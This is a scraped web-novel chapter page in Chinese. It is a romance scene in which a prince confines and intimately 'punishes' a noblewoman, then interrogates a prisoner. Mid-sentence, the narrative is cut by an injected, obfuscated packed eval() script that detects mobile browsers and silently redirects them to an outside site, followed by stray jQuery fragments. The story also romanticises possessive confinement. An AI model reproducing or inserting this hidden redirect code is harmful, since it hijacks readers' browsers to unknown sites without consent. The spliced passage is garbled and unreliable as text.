默认冷灰
24号文字
方正启体

93. 惩罚

作者:黑吠本书字数:K更新时间:
    得知乐绮眠违背约定,独自与解玄见面时,傅厌辞就存了最阴晦的心思。


    闻师偃在场,他只能扮演肃王,然而在统军司禁锢她的足踝,远无法敉平他的焦躁,他要更紧密、更坚固的联系,要她无暇关注旁人,只能慌乱无措、无法拒绝地接纳他。


    糟糕。


    乐绮眠维持着擦药的动作,足尖却被带往膝间,她不知道,傅厌辞的惩罚远不止将她关在府中,因为不必解开银扣,他也能用另一种方式,将她拉入情潮欲海。


    “你的伤,”乐绮眠指尖轻抵,善意提醒,“不管了?”


    傅厌辞用更直白的动作回应了她。


    乐绮眠并非第一次直面他的欲望,可昔日身处敌营,她主动挑起,此刻却被困在王府,节奏由他掌控。


    这新鲜的变化让她感到一点陌生,他眼中浓烈的欲也让她困惑,可她没有闪避,近乎天真地望着他,在发现自己轻易就能调动他的感官后,放任了他的进犯。


    只是这样,远远不够。


    傅厌辞在碰到她前就摘掉了手套,但他的手杀过人,沾过血,当它撑开足衣,滑进下方,那浮动的筋骨依旧和好看没有半点关系。


    反而,因刺青鳞光闪闪,奇形诡状,蛇一般滑过凹陷之处,缠绕着她雪白的肌肤,在对比中越加丑陋,让他不论做出任何举动,都是亵渎与狎弄。


    “......别碰了,”乐绮眠脚趾蜷缩,在加快的心跳中,萌生逃跑的念头,“很奇怪。”


    除了她的足,两人没有其他接触,可傅厌辞呼吸过快,分明把对她的教训视为褒奖。


    逐渐地,这场惩罚变了味道,乐绮眠落入下风,被握住了脚踝催索,又抵近了足弓冒进,饶是在暗柜与他魂梦颠倒一回,也不抵被他困在椅中凌犯豪夺。


    嗯——


    乐绮眠乌黑的眼珠浮起雾气,微张的唇也在叹息,她侧身躲避,却在退后那刻,被托住了腰,卷入他怀间。


    傅厌辞淡声说:“坐好。”


    他似乎下定了惩罚的决心,不再温柔,只懂索要,任是他总在否认,也与她在混乱无序的黑夜里,做了取乐追欢的露水夫妻。


    乐绮眠忽道:“我夫君要来了啊。”


    她流着汗,发髻微潮,耳坠轻晃,即便如此狼狈,眼梢还是浮现笑意:“你再不走,他会杀了你的。”


    她与魏家的婚约世所皆知,做这些意味着什么,他再清楚不过。果然,话音落下,傅厌辞加重力量,没有军服阻隔,乐绮眠几有被闯|入的错觉。


    可颠荡没结束,她从椅中被捞起。傅厌辞托着她,不许她脚着地,在耳后说:“谁是夫君?”


    乐绮眠失去支撑,唯有相触之处能勉强维系,她坏心眼道:“他就在门外,不如你问一问他。”


    这满口胡言的坏女子,似乎打定主意戏弄他,可偏偏是他挑的头,即便真做了曲款暗通的俦侣,也该他受罚。傅厌辞臂膀收紧,猛地吻下。


    “嗯……够了,”乐绮眠仰颈抵抗,很柔弱般,“会被发现。”


    她言辞推拒,唇舌却容纳了他的侵|入,还在他深入时,逸出鼻音。任是傅厌辞已学会掌控节奏,也在她软黏的尾调中呼吸加速,好似真成了她见不得光的情郎。


    傅厌辞咬她的唇,被弄得有些失控:“玩够了?”


    乐绮眠道:“你不配合,好没意——”


    没说完,一只手摁在她后颈,好像这样能更紧密盯着她。傅厌辞眼神认真,说一不二:“你不会嫁给旁人,你要玩的游戏,没有可能。”


    他不会说好听的话,每句都是深思熟虑的结果,他说乐绮眠不会嫁给旁人,就是杀尽所有娶她的人,也不奇怪。


    “你好严肃,”乐绮眠两指点在他唇角,撑起一点,略显遗憾,“只是游戏,笑一笑,何必当真。”


    傅厌辞走到榻边,掀开垂帷,将她困在褥间。乐绮眠以为亲吻是结束,可他的反应远非如此。


    他俯身,再度吻她,仿佛要将半月的分离一并讨回,动作渐渐凶狠。乐绮眠在混乱中碰到银扣,才发觉他没有消退半点。


    不仅如此,被呷弄的不止齿舌,抵住她的银扣即便没有羲和作祟,也滚烫难掩。她在攻势里节节败退,往日再口舌生莲,此刻也只能投降。


    这一吻格外漫长,结束时,她陷在被中。窒息感没顶,分不清是泪或汗,只有乌湿的睫羽泄露了她曳兵弃甲的溃败。可怜她小臂始终被牢牢掌控,就是想逃,也有心无力。


    乐斯年没有说错。


    提起婚约就这般反应,当真履约,傅厌辞岂非要掀了魏家。乐绮眠感到一点畏惧,发觉自己低估了他,但她不可能放弃婚约留在北苍,更何况有望舒在,她能活几日都未可知。


    天色不早,傅厌辞取了条布巾,对她说:“擦身了再睡。”


    今夜只能宿在王府。


    乐绮眠没做任何准备,但当傅厌辞打湿布巾,从她额上开始擦拭,她也乖乖的,任他擦,还会抬起下巴方便他用力。


    傅厌辞擦到一半,就发现她太瘦了。下颌到锁骨,直至没入衣襟的弧度尤为单薄,出过汗的皮肤也湿凉苍白,让她像摆放在柜中的瓷偶,有种一碰就碎的错觉。


    乐绮眠说:“乐斯年还在军中等我,我在王府暂住,至少要给他写封信,不然回去他定要啰嗦。”


    既然傅厌辞不放人,就让乐斯年上门找她。


    傅厌辞道:“信已经送走。”


    乐绮眠说:“送走?”


    傅厌辞道:“来王府的路上,已经派人去信。”


    乐绮眠:“......”


    他也太快了点!


    乐绮眠凑前装可怜:“可我待在王府实在无聊,况且不见解玄,也要回军对付匪兵,你不能留我一人在此。”


    傅厌辞道:“谁要留你一人在此?”


    乐绮眠说:“不是你要把我关......等等,什么意思?”


    傅厌辞停下擦拭的动作,望向她,平淡答:“我会待在王府,直到闻氏退兵。”


    直到,闻氏,退兵。


    乐绮眠顿时想回到半月前,拦住那个前往统军司的自己。他只身赴会便只身赴会,她插手做什么?这下见不了解玄,人也被关在王府,连离开床榻都成问题!


    看到她的反应,傅厌辞说:“你还想见解玄?”


    乐绮眠立时变脸,将谎撒得面不改色:“我如果想见解玄,怎么会随你来王府?你不要多想。”


    傅厌辞望向她,不知信了没有。总之,他将布巾放回水盆,熄灭烛火,回身道:“睡觉。”


    这张榻容纳二人绰绰有余,乐绮眠躺下后极安分,如果不是被窝团起,根本发现不了这人。


    过了许久,傅厌辞说:“你冷?”


    乐绮眠闷闷的声音从被中传来:“没有,为何这么问?”


    傅厌辞说:“你盖着被子。”


    乐绮眠:“......”


    乐绮眠道:“是,我怕冷,被子分你点?”


    她不是怕冷,是怕再被亲,但这怎么说?让傅厌辞走?可这张榻,这间屋,都是他的,就算要走,也是她。


    傅厌辞没有应答,过了会儿,乐绮眠感觉身上一轻,被子被抽走,继而陷入一道比被窝更温热的臂弯。


    乐绮眠呆了:“你不要被子了?”


    傅厌辞道:“不冷。”


    从将乐绮眠抱上床榻起,傅厌辞就没打算放她离开。待在被中是待,待在怀中也是,他与她做过更越界的事,稀松平常的拥抱反而少有。


    因为望舒的缘故,乐绮眠比常人畏寒,每到冬日,寸步难行,然而此时,她却有些怕热。


    乐绮眠说:“你抱人总这么紧吗?”


    她快不能呼吸,勉强从胸口挤出一个脑袋。傅厌辞没抱过旁人,无从比较,被说了,两臂才略松,放她喘气。


    乐绮眠在他怀里拱了一阵,发觉无法脱困后,认命躺好,自暴自弃:“抱一夜就算了,难道你能抱到闻氏退兵?我又不是不来了,就这么信不过我?”


    傅厌辞道:“我应该信你吗?”


    乐绮眠:“......”


    也是。


    她撒过的谎罄竹难书,这话确实没资格讲,但她理不直气也壮:“总之,你不可能关我一辈子,我总要出去见人!乐斯年见不到人,也会找你的麻烦。”


    傅厌辞道:“我等他来。”


    他话里带着淡淡嘲讽,全不将乐斯年放在眼中,乐绮眠一噎,思来想去,突然抱住他:“雪奴哥哥,别玩我了,让我回岑州一趟,以后你往东,我绝不往西,什么都听你的!”


    为了说服傅厌辞,她使上浑身解数,连“哥哥”都喊了出来,本没抱希望,不料他肩臂微僵,竟像被雷劈中。


    乐绮眠立刻再接再厉:“哥哥,雪奴哥哥,你最通情达理了,连你都不信我,世上就没人信我了。”


    她说这种话脸不红心不跳,还趴在傅厌辞胸口,从被窝里钻出个头,从上瞧着他。


    傅厌辞说:“......去多久。”


    果真有用。


    乐绮眠双眸微亮,惊喜道:“我听你的,你说几日就几日。”


    傅厌辞说:“五日。”


    乐绮眠:“......”


    这连一个来回都不够!


    乐绮眠道:“十五日怎么样?我回岑州都不止五日。”


    傅厌辞说:“那便免谈。”


    软硬兼施皆不奏效,乐绮眠只能收了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946134|167077||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    神通,滚回枕中。但没琢磨出下一步如何行动,傅厌辞冷淡的声音从身后传来:“只是待在王府几日,也耐不住吗?”


    乐绮眠一怔,十分不能理解:“我已经解释过了,为何你还这么想?”


    她以为傅厌辞会把她的话听进去,现在看来并非如此。这下,所有退路被堵死,她只得偃旗息鼓,听着窗外风声,期盼傅厌辞早些入睡。


    只是,她这般想了多久,傅厌辞就在黑暗中注视了她多久。


    他在寝殿休息时从不熄灯,但她似乎有些畏光,使得要看清她的睡颜,只能在暗处。旁人说乐绮眠聪颖,可她其实再懵懂不过,只有这样的人,才会在缠吻、相拥后,不设防地躺在他的榻上。


    这证明她不懂,不懂与解玄相比,他才是最危险的人。


    夜深时分,窗外下起小雨,乐绮眠走神一阵,还是沉入梦中。傅厌辞在她入眠后,缓缓握紧她两腕,好像这样就能和拴住纸鸢一样,拴住她。


    天快亮时,乐绮眠醒了。她心中算着时间,睡不沉,睁开眼,榻上却空无一人。


    人呢。


    乐绮眠摸了下没有余温的枕衾,心中奇怪,穿上鞋袜来到屋外,却见小院内没有护卫。


    傅厌辞说不会将她单独留在府内,是闻家残兵作乱,临时去了军中?乐绮眠没想通缘由,觉得他不会如此粗疏,但无论故意与否,人不在,恰好方便她离开。


    走前,她勉为其难将被子叠好,找来纸笔留下几行字字,大摇大摆出了屋门。


    因此没有看到,门扇带起的微风,吹落了案上纸笺,又被一只手捡起,随手展开。


    “乐小姐此去定会见解玄,那人诡诈多端,只怕会说对殿下不利的话,”崔烈道,“殿下就这么让她走了?”


    【我走了,半月后见。】


    【记得擦药。记得擦药。记得擦药。】


    傅厌辞的目光在那重复的句子上停留良久,合上纸笺,说:“半月后,会再见。”


    崔烈没有看信中内容,奇道:“那殿下昨日将乐小姐带回府中,岂非白跑一趟?”


    明明昨夜还往院外派了人,今早却将人撤走。朝令夕改不像傅厌辞的作风。


    傅厌辞说:“先将闻师偃带到厅堂,我有话要问。”


    崔烈愣了下,应道:“殿下要审军粮案?属下这就去。”


    崔烈走后,傅厌辞将纸笺收进一只匣子中。有趣的是,匣子不是空的,底下放有一封信,似乎有些年头,边角已经变形。


    傅厌辞没有看那封信,合上匣子,退出小屋。等来到厅堂,闻师偃人已在内,他右手已经包扎,但浑身依然透着死气沉沉的白。


    “你来了,”闻师偃看到地面影子,扯开惨白的笑,“肃王殿下。”


    傅厌辞没有废话,单刀直入:“为何是武安侯之女。”


    将乐绮眠带回王府前,他就存了审问闻师偃的念头。他不相信,仅凭王储之身,解玄就有信心说服乐绮眠背叛父兄,一定有其他原因,让他笃定她已与父兄离心。


    为此,他宁可暂时放走乐绮眠,也要单独提审此人。


    再者,偌大的海琅王府,难道没人能分清两个婴孩?以至让手无寸铁的侍女,将王储盗走?老教首早知解玄真身,为何不斩草除根,甚至让他掌控了教务?


    闻师偃的说辞,有许多矛盾之处,根本经不起推敲。


    “你竟不知解玄为何找上她?”闻师偃好似十分意外,眼里泛起讥诮,“难道她从未向你提起,她与解玄如何相识,除了谋臣与匪首,他还有何重身份?”


    乐绮眠没提过。


    傅厌辞道:“什么身份?”


    闻师偃这回是真的惊讶了,认真端详他,又问:“解玄从海琅王手中脱身后,在妙应寺躲避风头,你知道妙应寺,从前用来关押梁室罪臣吧?”


    收到闻师偃那封战书后,傅厌辞派人查了妙应寺。此地是关押罪犯的监牢,六年前失火,已经荒废。此外,没有其他信息。


    闻师偃笑说:“闻某以为你二人是对患难鸳鸯,不想你对她一无所——”


    崔烈执剑,警告道:“别忘了你身在何处,这里不是统军司。”


    长剑点在眼前,闻师偃勉强收敛:“.....也好,既然你好奇,闻某一五一十道来,至于乐家女为何隐瞒,不归闻某管,追究起来,也与闻某无关。”


    傅厌辞没说话,但有人上前解开他腕间锁链,闻师偃抬脸对上傅厌辞,惊讶之余,表情滑过一丝兴味。


    “镜鸾之变前,妙应寺关押过的罪犯皆默默无闻,真正让寺庙声名在外的,是一个本应葬身火海的女犯。她‘死去’之日,武安侯恰好将一人带到军中。”


    “那人的身份,你应该能猜到?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)